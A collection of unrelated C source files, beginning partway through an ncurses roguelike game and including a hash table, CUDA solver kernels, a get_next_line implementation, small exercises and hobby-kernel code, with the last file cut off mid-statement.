difference_in_y < 0) { wprintw(message_win, "monster %c, is %d south and %d left", dungeon[monsterx_pos][monstery_pos], abs(difference_in_x), abs(difference_in_y)); } else if (difference_in_x < 0 && difference_in_y < 0) { wprintw(message_win, "monster %c, is %d north and %d left", dungeon[monsterx_pos][monstery_pos], abs(difference_in_x), abs(difference_in_y)); } wrefresh(message_win); } else if(ch == 27) { list_monster_state = 0; monster_index = 0; } else if((ch == KEY_UP)) { monster_index++; if(monster_index >= num_monsters) { monster_index = num_monsters - 1; } wclear(message_win); monster_t mon = monsters[monster_index]; int monsterx_pos = mon.x_pos; int monstery_pos = mon.y_pos; int difference_in_x = mon.x_pos - pc_x_position; int difference_in_y = mon.y_pos - pc_y_position; if(difference_in_x > 0 && difference_in_y > 0) { wprintw(message_win, "monster %c, is %d south and %d right", dungeon[monsterx_pos][monstery_pos], abs(difference_in_x), abs(difference_in_y)); } else if(difference_in_x < 0 && difference_in_y > 0) { wprintw(message_win, "monster %c, is %d north and %d right", dungeon[monsterx_pos][monstery_pos], abs(difference_in_x), abs(difference_in_y)); } else if(difference_in_x > 0 && difference_in_y < 0) { wprintw(message_win, "monster %c, is %d south and %d left", dungeon[monsterx_pos][monstery_pos], abs(difference_in_x), abs(difference_in_y)); } else if (difference_in_x < 0 && difference_in_y < 0) { wprintw(message_win, "monster %c, is %d north and %d left", dungeon[monsterx_pos][monstery_pos], abs(difference_in_x), abs(difference_in_y)); } wrefresh(message_win); } else if((ch == KEY_DOWN)) { monster_index--; if(monster_index < 0) { monster_index = 0; } wclear(message_win); int monsterx_pos = monsters[monster_index].x_pos; int monstery_pos = monsters[monster_index].y_pos; int difference_in_x = monsters[monster_index].x_pos - pc_x_position; int difference_in_y = monsters[monster_index].y_pos - pc_y_position; if(difference_in_x > 0 && difference_in_y > 0) { wprintw(message_win, "monster %c, is %d south and %d right", dungeon[monsterx_pos][monstery_pos], abs(difference_in_x), abs(difference_in_y)); } else if(difference_in_x < 0 && difference_in_y > 0) { wprintw(message_win, "monster %c, is %d north and %d right", dungeon[monsterx_pos][monstery_pos], abs(difference_in_x), abs(difference_in_y)); } else if(difference_in_x > 0 && difference_in_y < 0) { wprintw(message_win, "monster %c, is %d south and %d left", dungeon[monsterx_pos][monstery_pos], abs(difference_in_x), abs(difference_in_y)); } else if (difference_in_x < 0 && difference_in_y < 0) { wprintw(message_win, "monster %c, is %d north and %d left", dungeon[monsterx_pos][monstery_pos], abs(difference_in_x), abs(difference_in_y)); } wrefresh(message_win); } if(PC_dead_status) { win_status = 0; break; } turn++; } endwin(); if(win_status == 1) { printf("YOU WON!!\n"); } else if(win_status == 0) { printf("YOU LOST! TRY AGAIN!!\n"); } else { printf("Exiting the game\n"); } queue_delete(pq); free(pq); return 0; } int move_monster(queue_t *q, int turn) { monster_t m; queue_remove(q, &m); if(m.alive) { int pcFound = checkForPC(m); if(pcFound) { return 1; } if(m.characteristics == 0x0) { //Look in the room to find the PC and move 1 cell closer int room_rows = rooms[m.room][0]; int room_cols = rooms[m.room][1]; int room_x = rooms[m.room][2]; int room_y = rooms[m.room][3]; int startX, startY; int pc_x = -1; int pc_y = -1; for(startX = 0; startX < (room_x + room_rows); startX++) { for(startY = 0; startY < (room_y + room_cols); startY++) { if(dungeon[startX][startY] == '@') { pc_x = startX; pc_y = startY; } } } if(pc_x == -1 || pc_y == -1) { //PC was not in the room and dont move return 0; } else { dungeon[m.x_pos][m.y_pos] = '.'; if(pc_x < m.x_pos) { m.x_pos = m.x_pos - 1; } if(pc_x > m.x_pos) { m.x_pos = m.x_pos + 1; } if(pc_y < m.y_pos) { m.y_pos = m.y_pos - 1; } if(pc_y > m.y_pos) { m.y_pos = m.y_pos + 1; } dungeon[m.x_pos][m.y_pos] = '0'; } } else if (m.characteristics == 0x1) { } else if(m.characteristics == 0x2) { } else if(m.characteristics == 0x3) { //printf("Monster has a 0x3 charicteristic\n"); int minX = 0; int minY = 0; int min = INT_MAX; //Get all 8 positions and see what is available if(distances_non_tunnel[m.x_pos+1][m.y_pos] != ' ') { if(distances_non_tunnel[m.x_pos+1][m.y_pos] == '@') { //move the monster over and win the game dungeon[m.x_pos+1][m.y_pos] = '3'; return 1; } int dis = distances_non_tunn[m.x_pos+1][m.y_pos]; if(dis < min) { min = dis; minX = m.x_pos+1; minY = m.y_pos; } } if(distances_non_tunnel[m.x_pos-1][m.y_pos] != ' ') { if(distances_non_tunnel[m.x_pos-1][m.y_pos] == '@') { dungeon[m.x_pos-1][m.y_pos] = '3'; return 1; } int dis = distances_non_tunn[m.x_pos-1][m.y_pos]; if(dis < min) { min = dis; minX = m.x_pos-1; minY = m.y_pos; } } if(distances_non_tunnel[m.x_pos][m.y_pos+1] != ' ') { if(distances_non_tunnel[m.x_pos][m.y_pos+1] == '@') { dungeon[m.x_pos][m.y_pos+1] = '3'; return 1; } int dis = distances_non_tunn[m.x_pos][m.y_pos+1]; if(dis < min) { min = dis; minX = m.x_pos; minY = m.y_pos+1; } } if(distances_non_tunnel[m.x_pos][m.y_pos-1] != ' ') { if(distances_non_tunnel[m.x_pos][m.y_pos-1] == '@') { dungeon[m.x_pos][m.y_pos-1] = '3'; return 1; } int dis = distances_non_tunn[m.x_pos][m.y_pos-1]; if(dis < min) { min = dis; minX = m.x_pos; minY = m.y_pos-1; } } if(distances_non_tunnel[m.x_pos+1][m.y_pos-1] != ' ') { if(distances_non_tunnel[m.x_pos+1][m.y_pos-1] == '@') { dungeon[m.x_pos+1][m.y_pos-1] = '3'; return 1; } int dis = distances_non_tunn[m.x_pos+1][m.y_pos-1]; if(dis < min) { min = dis; minX = m.x_pos+1; minY = m.y_pos-1; } } if(distances_non_tunnel[m.x_pos+1][m.y_pos+1] != ' ') { if(distances_non_tunnel[m.x_pos+1][m.y_pos+1] == '@') { dungeon[m.x_pos+1][m.y_pos+1] = '3'; return 1; } int dis = distances_non_tunn[m.x_pos+1][m.y_pos+1]; if(dis < min) { min = dis; minX = m.x_pos+1; minY = m.y_pos+1; } } if(distances_non_tunnel[m.x_pos-1][m.y_pos+1] != ' ') { if(distances_non_tunnel[m.x_pos-1][m.y_pos+1] == '@') { dungeon[m.x_pos-1][m.y_pos+1] = '3'; return 1; } int dis = distances_non_tunn[m.x_pos-1][m.y_pos+1]; if(dis < min) { min = dis; minX = m.x_pos-1; minY = m.y_pos+1; } } if(distances_non_tunnel[m.x_pos-1][m.y_pos-1] != ' ') { if(distances_non_tunnel[m.x_pos-1][m.y_pos-1] == '@') { dungeon[m.x_pos-1][m.y_pos-1] = '3'; return 1; } int dis = distances_non_tunn[m.x_pos-1][m.y_pos-1]; if(dis < min) { min = dis; minX = m.x_pos-1; minY = m.y_pos-1; } } dungeon[minX][minY] = '3'; dungeon[m.x_pos][m.y_pos] = '.'; m.x_pos = minX; m.y_pos = minY; return 0; } else if(m.characteristics == 0x4) { } else if(m.characteristics == 0x5) { } else if(m.characteristics == 0x6) { } else if(m.characteristics == 0x7) { } else if(m.characteristics == 0x8) { } else if(m.characteristics == 0x9) { } else if (m.characteristics == 0xa) { } else if (m.characteristics == 0xb) { } else if (m.characteristics == 0xc) { } else if (m.characteristics == 0xd) { } else if (m.characteristics == 0xe) { } else if (m.characteristics == 0xf) { } queue_add(q, m, (EVENT_CONSTANT/m.speed)+turn); return 0; } return 0; } int checkForPC(monster_t m) { if(dungeon[m.x_pos +1][m.y_pos] == '@') { //dungeon[m.x_pos+1][m.y_pos] = intToChar(m.characteristics); //dungeon[m.x_pos][m.y_pos] = '.'; return 1; } else if(dungeon[m.x_pos -1][m.y_pos] == '@') { //dungeon[m.x_pos-1][m.y_pos] = intToChar(m.characteristics); //dungeon[m.x_pos][m.y_pos] = '.'; return 1; } else if(dungeon[m.x_pos][m.y_pos+1] == '@') { //dungeon[m.x_pos][m.y_pos+1] = intToChar(m.characteristics); //dungeon[m.x_pos][m.y_pos] = '.'; return 1; } else if(dungeon[m.x_pos][m.y_pos-1] == '@') { //dungeon[m.x_pos][m.y_pos-1] = intToChar(m.characteristics); // dungeon[m.x_pos][m.y_pos] = '.'; return 1; } else if(dungeon[m.x_pos +1][m.y_pos+1] == '@') { //dungeon[m.x_pos+1][m.y_pos+1] = intToChar(m.characteristics); //dungeon[m.x_pos][m.y_pos] = '.'; return 1; } else if(dungeon[m.x_pos +1][m.y_pos-1] == '@') { //dungeon[m.x_pos+1][m.y_pos-1] = intToChar(m.characteristics); //dungeon[m.x_pos][m.y_pos] = '.'; return 1; } else if(dungeon[m.x_pos -1][m.y_pos+1] == '@') { //dungeon[m.x_pos-1][m.y_pos+1] = intToChar(m.characteristics); //dungeon[m.x_pos][m.y_pos] = '.'; return 1; } else if(dungeon[m.x_pos -1][m.y_pos-1] == '@') { //dungeon[m.x_pos-1][m.y_pos-1] = intToChar(m.characteristics); //dungeon[m.x_pos][m.y_pos] = '.'; return 1; } return 0; } int check_won_status(monster_t *arr, int arr_size) { int index = 0; for(index = 0; index < arr_size; index++) { if(arr[index].alive == 1) { return 0; } } return 1; } int check_for_monster(int x_pos, int y_pos, monster_t *arr, int arr_size) { int i = 0; for(i = 0; i < arr_size; i++) { //If there is a monster at that position and it is alive then return index if((arr[i].x_pos == x_pos) && (arr[i].y_pos == y_pos) && (arr[i].alive == 1)) { return i; } } return -1; } void print_message(WINDOW *win, int status) { if(status == 7) { wprintw(win, "character moved to the upper left\r"); } else if(status == 8) { wprintw(win, "character moved up\r"); } else if(status == 9) { wprintw(win, "character moved to the upper right\r"); } else if(status == 6) { wprintw(win, "character moved to the right\r"); } else if(status == 3) { wprintw(win, "character moved to the lower right\r"); } else if(status == 2) { wprintw(win, "character moved down\r"); } else if(status == 1) { wprintw(win, "character moved to the lower left\r"); } else if(status == 4) { wprintw(win, "character moved to the left\r"); } else if(status == 5) { wprintw(win, "character did not move\r"); } wrefresh(win); } void move_PC(int whichDir, monster_t *arr, int arr_size) { if(whichDir == 7) { if(dungeon[pc_x_position-1][pc_y_position-1] != ' ' && dungeon[pc_x_position-1][pc_y_position-1] != '|' && dungeon[pc_x_position-1][pc_y_position-1] != '-') { int monster_found = check_for_monster(pc_x_position-1, pc_y_position-1, arr, arr_size); //Monster has been found, we need to make him unalive, and update the pc & monster information if(monster_found != -1) { arr[monster_found].alive = 0; dungeon[pc_x_position][pc_y_position] = lastPosition; lastPosition = '.'; dungeon[pc_x_position - 1][pc_y_position - 1] = '@'; pc_x_position = pc_x_position - 1; pc_y_position = pc_y_position - 1; } else { dungeon[pc_x_position][pc_y_position] = lastPosition; lastPosition = dungeon[pc_x_position - 1][pc_y_position - 1]; dungeon[pc_x_position - 1][pc_y_position - 1] = '@'; pc_x_position = pc_x_position - 1; pc_y_position = pc_y_position - 1; } } } else if(whichDir == 8) { if(dungeon[pc_x_position-1][pc_y_position] != ' ' && dungeon[pc_x_position-1][pc_y_position] != '|' && dungeon[pc_x_position-1][pc_y_position] != '-') { int monster_found = check_for_monster(pc_x_position-1, pc_y_position, arr, arr_size); if(monster_found != -1) { arr[monster_found].alive = 0; dungeon[pc_x_position][pc_y_position] = lastPosition; lastPosition = '.'; dungeon[pc_x_position - 1][pc_y_position] = '@'; pc_x_position = pc_x_position - 1; } else{ dungeon[pc_x_position][pc_y_position] = lastPosition; lastPosition = dungeon[pc_x_position - 1][pc_y_position]; dungeon[pc_x_position - 1][pc_y_position] = '@'; pc_x_position = pc_x_position - 1; } } } else if(whichDir == 9) { if(dungeon[pc_x_position-1][pc_y_position+1] != ' ' && dungeon[pc_x_position-1][pc_y_position+1] != '|' && dungeon[pc_x_position-1][pc_y_position+1] != '-') { int monster_found = check_for_monster(pc_x_position-1, pc_y_position+1, arr, arr_size); if(monster_found != -1) { arr[monster_found].alive = 0; dungeon[pc_x_position][pc_y_position] = lastPosition; lastPosition = '.'; dungeon[pc_x_position - 1][pc_y_position + 1] = '@'; pc_x_position = pc_x_position - 1; pc_y_position = pc_y_position + 1; } else{ dungeon[pc_x_position][pc_y_position] = lastPosition; lastPosition = dungeon[pc_x_position - 1][pc_y_position + 1]; dungeon[pc_x_position - 1][pc_y_position + 1] = '@'; pc_x_position = pc_x_position - 1; pc_y_position = pc_y_position + 1; } } } else if (whichDir == 6) { if(dungeon[pc_x_position][pc_y_position+1] != ' ' && dungeon[pc_x_position][pc_y_position+1] != '|' && dungeon[pc_x_position][pc_y_position+1] != '-') { int monster_found = check_for_monster(pc_x_position, pc_y_position+1, arr, arr_size); if(monster_found != -1) { arr[monster_found].alive = 0; dungeon[pc_x_position][pc_y_position] = lastPosition; lastPosition = '.'; dungeon[pc_x_position][pc_y_position + 1] = '@'; pc_y_position = pc_y_position + 1; } else{ dungeon[pc_x_position][pc_y_position] = lastPosition; lastPosition = dungeon[pc_x_position][pc_y_position + 1]; dungeon[pc_x_position][pc_y_position + 1] = '@'; pc_y_position = pc_y_position + 1; } } } else if(whichDir == 3) { if(dungeon[pc_x_position+1][pc_y_position+1] != ' ' && dungeon[pc_x_position+1][pc_y_position+1] != '|' && dungeon[pc_x_position+1][pc_y_position+1] != '-') { int monster_found = check_for_monster(pc_x_position+1, pc_y_position+1, arr, arr_size); if(monster_found != -1) { arr[monster_found].alive = 0; dungeon[pc_x_position][pc_y_position] = lastPosition; lastPosition = dungeon[pc_x_position + 1][pc_y_position + 1]; dungeon[pc_x_position + 1][pc_y_position + 1] = '@'; pc_x_position = pc_x_position + 1; pc_y_position = pc_y_position + 1; } else{ dungeon[pc_x_position][pc_y_position] = lastPosition; lastPosition = '.'; dungeon[pc_x_position + 1][pc_y_position + 1] = '@'; pc_x_position = pc_x_position + 1; pc_y_position = pc_y_position + 1; } } } else if(whichDir == 2) { if(dungeon[pc_x_position+1][pc_y_position] != ' ' && dungeon[pc_x_position+1][pc_y_position] != '|' && dungeon[pc_x_position+1][pc_y_position] != '-') { int monster_found = check_for_monster(pc_x_position+1, pc_y_position, arr, arr_size); if(monster_found != -1) { arr[monster_found].alive = 0; dungeon[pc_x_position][pc_y_position] = lastPosition; lastPosition = '.'; dungeon[pc_x_position + 1][pc_y_position] = '@'; pc_x_position = pc_x_position + 1; } else{ dungeon[pc_x_position][pc_y_position] = lastPosition; lastPosition = dungeon[pc_x_position + 1][pc_y_position]; dungeon[pc_x_position + 1][pc_y_position] = '@'; pc_x_position = pc_x_position + 1; } } } else if(whichDir == 1) { if(dungeon[pc_x_position+1][pc_y_position-1] != ' ' && dungeon[pc_x_position+1][pc_y_position-1] != '|' && dungeon[pc_x_position+1][pc_y_position-1] != '-') { int monster_found = check_for_monster(pc_x_position+1, pc_y_position-1, arr, arr_size); if(monster_found != -1) { arr[monster_found].alive = 0; dungeon[pc_x_position][pc_y_position] = lastPosition; lastPosition = '.'; dungeon[pc_x_position + 1][pc_y_position - 1] = '@'; pc_x_position = pc_x_position + 1; pc_y_position = pc_y_position - 1; } else { dungeon[pc_x_position][pc_y_position] = lastPosition; lastPosition = '.'; dungeon[pc_x_position + 1][pc_y_position - 1] = '@'; pc_x_position = pc_x_position + 1; pc_y_position = pc_y_position - 1; } } } else if(whichDir == 4) { if(dungeon[pc_x_position][pc_y_position-1] != ' ' && dungeon[pc_x_position][pc_y_position-1] != '|' && dungeon[pc_x_position][pc_y_position-1] != '-') { int monster_found = check_for_monster(pc_x_position, pc_y_position-1, arr, arr_size); if(monster_found != -1) { arr[monster_found].alive = 0; dungeon[pc_x_position][pc_y_position] = lastPosition; lastPosition = '.'; dungeon[pc_x_position][pc_y_position - 1] = '@'; pc_y_position = pc_y_position - 1; } else{ dungeon[pc_x_position][pc_y_position] = lastPosition; lastPosition = dungeon[pc_x_position][pc_y_position - 1]; dungeon[pc_x_position][pc_y_position - 1] = '@'; pc_y_position = pc_y_position - 1; } } } } void print_dungeon(WINDOW *win) { int i, j; for(i = 0; i < DUNGEON_ROWS; i++) { for(j = 0; j < DUNGEON_COLUMNS; j++) { wprintw(win, "%c", dungeon[i][j]); } wprintw(win, "\n"); } wrefresh(win); }
C
// File: unsigned-type.c // Created by hengxin on 17-10-8. // #include <stdio.h> #include <stdint.h> void unsignedint_conversion(); void unsignedint_arithmetic(); void unsignedint_round(); int main() { unsignedint_conversion(); unsignedint_arithmetic(); unsignedint_round(); } /** * Suggestion 2-5: Be careful with unsigned types * Code 1-6 and Code 1-8 */ void unsignedint_conversion() { puts("***** In unsignedint_conversion() ***** "); int array[] = { 1, 2, 3, 4, 5 }; int i = -1; /** * sizeof(): size_t which is of an unsigned type * i: int will converted to unsigned int * (unsigned int) -1 = 4294967295 (on my system) * Correction: i <= (int) sizeof(array) */ printf("(unsigned int) -1 = %u\n", (unsigned int) -1); if (i <= sizeof(array)) puts("i <= sizeof(array)"); else puts("i > sizeof(array)"); } /** * Suggestion 2-5: Be careful with unsigned types * Code 1-7 */ void unsignedint_arithmetic() { puts("***** In unsignedint_arithmetic() ***** "); int a = 3; unsigned int b = 4; printf("%d\n", a - b); printf("%u\n", a - b); printf("%d\n", (a - b) >> 1); } /** * Suggestion 2-6: Preventing * Code 1-9 and Code 1-10 */ void unsignedint_round() { puts("***** In unsignedint_round() ***** "); unsigned int a = UINT32_MAX; unsigned int b = 2; unsigned int c = 4; printf("a + b = %u\n", a + b); printf("b - c = %u\n", b - c); /** * Code 1-10: a solution */ if (UINT32_MAX - a < b) printf("a (%u) + b (%u) is greater than UINT32_MAX.\n", a, b); else printf("a + b = %u\n", a + b); if (b < c) printf("b (%u) - c (%u) is a negative.\n", b, c); else printf("b - c = %u\n", b - c); }
C
#include "hash_table.h" #define MinTableSize 3 LinkHashTable *HashTableInit(int tableSize) { if (tableSize < MinTableSize) return NULL; LinkHashTable *phashTable = (LinkHashTable*)malloc(sizeof(struct LinkHashTable));// if (phashTable == NULL) return NULL; phashTable->tableSize = tableSize; phashTable->theList = (Linklist*)malloc(sizeof(Linklist)*phashTable->tableSize); if (phashTable->theList == NULL) return NULL; for (int i = 0; i < tableSize; i++) { if (List_Init(&(phashTable->theList[i])))//ʼÿһͷָ룬ֹ return NULL; } return phashTable; } int ShowHashTable(LinkHashTable hashTable) { printf("Size of HashTable:%d\n", hashTable.tableSize); for (int i = 0; i < hashTable.tableSize; i++) { LNode *pNode_tmp = ((hashTable.theList[i]))->next; printf("hashTable[%d]: ",i); while (pNode_tmp != NULL) { printf("%d ",pNode_tmp->data); pNode_tmp = pNode_tmp->next; } printf("\n"); } } void InsertKey(LinkHashTable _hashTable, int key) { LNode* pNode_loc = (LNode*)malloc(sizeof(LNode)) ; //printf("size:%d\n", _hashTable.tableSize); printf("loc:%d\n", ModInt_HashFun(key, _hashTable.tableSize)); pNode_loc = (_hashTable.theList[ModInt_HashFun(key, _hashTable.tableSize)]); LNode* pNode_tmp = (LNode*)malloc(sizeof(struct LNode)); LNode* pNode_new = (LNode*)malloc(sizeof(struct LNode)); pNode_new->data = key; pNode_new->next = NULL; pNode_tmp = pNode_loc->next; pNode_loc->next = pNode_new; pNode_new->next = pNode_tmp; } inline static int ModInt_HashFun(int key,int tableSize)// { return key%tableSize; } inline int DRCChr_HashFun(char * key, int tableSize) { return 0; }
C
/********************************************************** ALTERNATIVE libgcc * Copyright (C) 2011- project talos (http://talos-kernel.sf.net/) * check LICENSE.txt. If you don't have the file, mail us. */ #include <config.h> #if CF_IA32 typedef unsigned long long u64; u64 __umoddi3(u64 n, u64 d){ u64 b = 1; //開始ビット設定 for(; !(d & (1ULL << 63)); d <<=1, b <<= 1); //除算 for(; b && n; d >>= 1, b >>= 1){ if(d <= n){ n -= d; } } return n; } u64 __udivdi3(u64 n, u64 d){ u64 b = 1; u64 r = 0; //開始ビット設定 for(; !(d & (1ULL << 63)); d <<=1, b <<= 1); //除算 for(; b && n; d >>= 1, b >>= 1){ if(d <= n){ n -= d; r |= b; } } return r; } #endif
C
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* get_next_line_bonus.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: skodama <skodama@student.42tokyo.jp> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2020/11/13 04:47:19 by skodama #+# #+# */ /* Updated: 2020/12/31 04:17:29 by skodama ### ########.fr */ /* */ /* ************************************************************************** */ #include "get_next_line_bonus.h" static int safe_free(char **p, int check) { if (*p) { free(*p); *p = NULL; } if (check == -1) return (ERROR); return (1); } static int create_line(char **line, char **saved_line, char c, int size) { char *tmp; tmp = *saved_line; while (*tmp && *tmp != c) tmp++; if (!(*line = ft_strndup(*saved_line, tmp - *saved_line))) return (ERROR); if (size) { if (!(*saved_line = ft_strndup(tmp + 1, ft_strlen(tmp)))) return (ERROR); } else *saved_line = NULL; return (1); } static int read_line(const int fd, char **saved_line) { ssize_t size; char *buf; size = 10; if (!(buf = (char *)malloc((sizeof(char)) * ((unsigned int)BUFFER_SIZE + 1)))) return (ERROR); while (!ft_strchr(*saved_line, ENDL) && size > 0) { if ((size = read(fd, buf, BUFFER_SIZE)) < 0) return (safe_free(&buf, ERROR)); buf[size] = '\0'; if (!(*saved_line = ft_strjoin(*saved_line, buf))) return (safe_free(&buf, ERROR)); } safe_free(&buf, 1); return (size); } static t_list *check_save(int fd, t_list *save) { while (save->saved_fd) { if (save->saved_fd == fd) return (save); save++; } if (!(save->saved_line = ft_strndup("", 1))) return (NULL); save->saved_fd = fd; return (save); } int get_next_line(int fd, char **line) { static t_list save[FD_MAX]; t_list *tmplst; long size; char *tmp; if (fd < 0 || fd > FD_MAX || !line || BUFFER_SIZE <= 0 || BUFFER_SIZE > INT_MAX || (!(tmplst = check_save(fd, save)))) return (ERROR); if (tmplst->saved_line == NULL) { if (!(*line = (char *)malloc((1) * sizeof(char)))) return (-1); **line = '\0'; return (0); } if ((size = read_line(fd, &(tmplst->saved_line))) == -1) return (safe_free(&(tmplst->saved_line), ERROR)); tmp = tmplst->saved_line; if (create_line(line, &tmplst->saved_line, ENDL, size) == -1) return (safe_free(&tmp, ERROR)); safe_free(&tmp, 1); if (fd == 0) safe_free(&tmplst->saved_line, 1); return (size ? 1 : 0); }
C
#include "header.h" //--------------------------------------------------------------------- // block-diagonal matrix-vector multiplication //--------------------------------------------------------------------- __global__ void xinvr_kernel(double* rhs, double* rho_i, double* us, double* vs, double* ws, double* qs, double* speed, int nx2, int ny2, int nz2, double c2, double bt) { double t1, t2, t3, ac, ru1, uu, vv, ww, r1, r2, r3, r4, r5, ac2inv; int i = threadIdx.x + blockIdx.x * blockDim.x; int j = threadIdx.y + blockIdx.y * blockDim.y; int k = threadIdx.z + blockIdx.z * blockDim.z; if(i > 0 && j > 0 && k > 0 && i <= nx2 && j <= ny2 && k <= nz2) { ru1 = rho_i(k,j,i); uu = us(k,j,i); vv = vs(k,j,i); ww = ws(k,j,i); ac = speed(k,j,i); ac2inv = ac*ac; r1 = rhs(k,j,i,0); r2 = rhs(k,j,i,1); r3 = rhs(k,j,i,2); r4 = rhs(k,j,i,3); r5 = rhs(k,j,i,4); t1 = c2 / ac2inv * (qs(k,j,i) * r1 - uu*r2 - vv*r3 - ww*r4 + r5); t2 = bt * ru1 * (uu * r1 - r2); t3 = (bt * ru1 * ac) * t1; rhs(k,j,i,0) = r1 - t1; rhs(k,j,i,1) = -ru1 * (ww*r1 - r4); rhs(k,j,i,2) = ru1 * (vv*r1 - r3); rhs(k,j,i,3) = -t2 + t3; rhs(k,j,i,4) = t2 + t3; } } __global__ void add_kernel(double* u, double* rhs, int nx2, int ny2, int nz2) { int i = threadIdx.x + blockIdx.x * blockDim.x + 1; int j = threadIdx.y + blockIdx.y * blockDim.y + 1; int k = threadIdx.z + blockIdx.z * blockDim.z + 1; if(i <= nx2 && j <= ny2 && k <= nz2) { #pragma unroll 5 for (int m=0; m<5; m++) { u(k,j,i,m) += rhs(k,j,i,m); } } } void xinvr() { dim3 blocks = dim3(nx / 8 + 1, ny / 8+1, nz); dim3 threads = dim3(8, 8, 1); if (timeron) timer_start(t_txinvr); xinvr_kernel<<<blocks, threads>>>((double*)gpuRhs, (double*)gpuRho_i, (double*)gpuUs, (double*)gpuVs, (double*)gpuWs, (double*)gpuQs, (double*)gpuSpeed, nx2, ny2, nz2, c2, bt); if (timeron) timer_stop(t_txinvr); } void add() { const int size = sizeof(double)*P_SIZE*P_SIZE*P_SIZE*5; dim3 blocks = dim3(nx2 / 32+1, ny2 / 4+1, nz2); dim3 threads = dim3(32, 4, 1); if (timeron) timer_start(t_add); add_kernel<<<blocks, threads>>>((double*)gpuU, (double*)gpuRhs, nx2, ny2, nz2); if (timeron) timer_stop(t_add); } void adi() { compute_rhs(); //+ xinvr(); //+ x_solve(); y_solve(); z_solve(); add(); //+ }
C
#include <stdio.h> char lower(char); int main() { printf("%c -> %c\n", 'H', lower('H')); } /* convert char c to lower case */ char lower(char c) { return (c >= 'A' && c <= 'Z') ? c + 'a' - 'A' : c; }
C
#include<stdio.h> //linear search void linear_search(int A[],int n,int key){ //"key" ot be searched in array "A" of size "n" int count=0; //counting the number of occurance of "key" for(int i=0;i<n;i++){ if(A[i]==key){ //Wohoo...found the "key" printf("\n%d is found at position %d",key,(i+1)); count++; } } //end of for loop if(count==0){ printf("\nSorry, %d is unavailable",key); printf("\nTry again with a new key"); } } //binary search void binary_search(int A[],int n,int key){ //"key" ot be searched in array "A" of size "n" } //driver function int main(){ //creating an array "A" printf("\nEnter the size of the array\t"); int n; //var for storing array size scanf("%d",&n); int A[n]; printf("\nEnter any %d numbers\n",n); for(int i=0;i<n;i++){ //for loop for taking input to array scanf("%d",&A[i]); } linear_search(A,n,2); }
C
#include <stdio.h> char map[32][32]; int xs[512],ys[512],sp; int w,h; int not_in(x,y){ int i; for(i=sp-1;i>=0;--i){ if(xs[i]==x && ys[i]==y) return 0; } return 1; } int solve(int x0, int y0){ int i,j,k,sum; sum = 0; xs[0] = x0; ys[0] = y0; sp = 1; for(i=0;i<sp;i++){ map[xs[i]][ys[i]] = '#'; if( xs[i] > 0 && map[xs[i]-1][ys[i]]=='.' && not_in(xs[i]-1,ys[i])){ xs[sp] = xs[i] - 1; ys[sp] = ys[i]; ++sp; } if( xs[i]+1 < h && map[xs[i]+1][ys[i]]=='.' && not_in(xs[i]+1,ys[i])){ xs[sp] = xs[i] + 1; ys[sp] = ys[i]; ++sp; } if( ys[i] > 0 && map[xs[i]][ys[i]-1]=='.' && not_in(xs[i],ys[i]-1)){ xs[sp] = xs[i]; ys[sp] = ys[i] - 1; ++sp; } if( ys[i]+1 < w && map[xs[i]][ys[i]+1]=='.' && not_in(xs[i],ys[i]+1)){ xs[sp] = xs[i]; ys[sp] = ys[i] + 1; ++sp; } } return sp; } int main(){ int i,j,x0,y0; scanf("%d%d",&w,&h); while(w&&h){ for(i=0;i<h;i++){ scanf("%s",map+i); for(j=0;j<w;j++){ if(map[i][j]=='@'){ x0=i;y0=j; } } } printf("%d\n",solve(x0,y0)); scanf("%d%d",&w,&h); } return 0; }
C
#include <stdio.h> int main(void) { // ここにコードを挿入 size_t len = sizeof("さようなら!"); printf("%zuバイト", len); return 0; }
C
#include "holberton.h" /** * jack_bauer - Prints all possible combinations of two two-digit numbers, * ranging from 0-99, separated by a comma followed by a space. * * Return: Always 0. */ void jack_bauer(void) { int num1, num2; for (num1 = 0; num1 <= 24; num1++) { if (num1 < 24) { for (num2 = 0; num2 <= 59; num2++) { _putchar((num1 / 10) + '0'); _putchar((num1 % 10) + '0'); _putchar(':'); _putchar((num2 / 10) + '0'); _putchar((num2 % 10) + '0'); _putchar('\n'); } } } }
C
#define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ /* Variables and functions */ scalar_t__ strtoul (char*,char**,int) ; __attribute__((used)) static int parse_hex_color(char *buff) { char *endp = buff; int t = (int) strtoul(buff, &endp, 16); if (endp != buff) #ifdef PSP return ((t<<8)&0xf800) | ((t>>5)&0x07e0) | ((t>>19)&0x1f); #else return ((t>>8)&0xf800) | ((t>>5)&0x07e0) | ((t>>3)&0x1f); #endif return -1; }
C
#include "Include/irq.h" #include "Include/system.h" #include "Include/types.h" extern void load_idt(u32int idt_ptr); extern void keyboard_handler(void); extern void mouse_handler(void); extern void ide_handler(void); extern void pagefault_handler(void); extern void double_fault_handler(void); idt_entry_t idt_entries[256]; idt_ptr_t idt_ptr; void init_idt(){ idt_ptr.limit = sizeof(idt_entry_t) * 256 - 1; idt_ptr.base = (u32int)&idt_entries; /*initialized the idt limit and base*/ memset(&idt_entries, 0, sizeof(idt_entry_t)*256); //IRQ 1 - Keyboard u32int keyboard_address = (u32int)keyboard_handler; idt_entries[0x21].base_lo = keyboard_address & 0xffff; idt_entries[0x21].base_hi = (keyboard_address >> 16) & 0xffff; idt_entries[0x21].sel = 0x08; idt_entries[0x21].always0 = 0; idt_entries[0x21].flags = 0x8E; //Trap 14 - Page fault u32int fault_address = (u32int)pagefault_handler; idt_entries[0x0D].base_lo = fault_address & 0xffff; idt_entries[0x0D].base_hi = (fault_address >> 16) & 0xffff; idt_entries[0x0D].sel = 0x08; idt_entries[0x0D].always0 = 0; idt_entries[0x0D].flags = 0x1F; //Trap 8 - Double fault u32int double_fault = (u32int)double_fault_handler; idt_entries[0x08].base_lo = double_fault & 0xffff; idt_entries[0x08].base_hi = (double_fault >> 16) & 0xffff; idt_entries[0x08].sel = 0x08; idt_entries[0x08].always0 = 0; idt_entries[0x08].flags = 0x1F; //IRQ 12 - Mouse //u32int mouse_address = (u32int)mouse_handler; //idt_entries[0x2C].base_lo = mouse_address & 0xffff; //idt_entries[0x2C].base_hi = (mouse_address >> 16) & 0xffff; //idt_entries[0x2C].sel = 0x08; 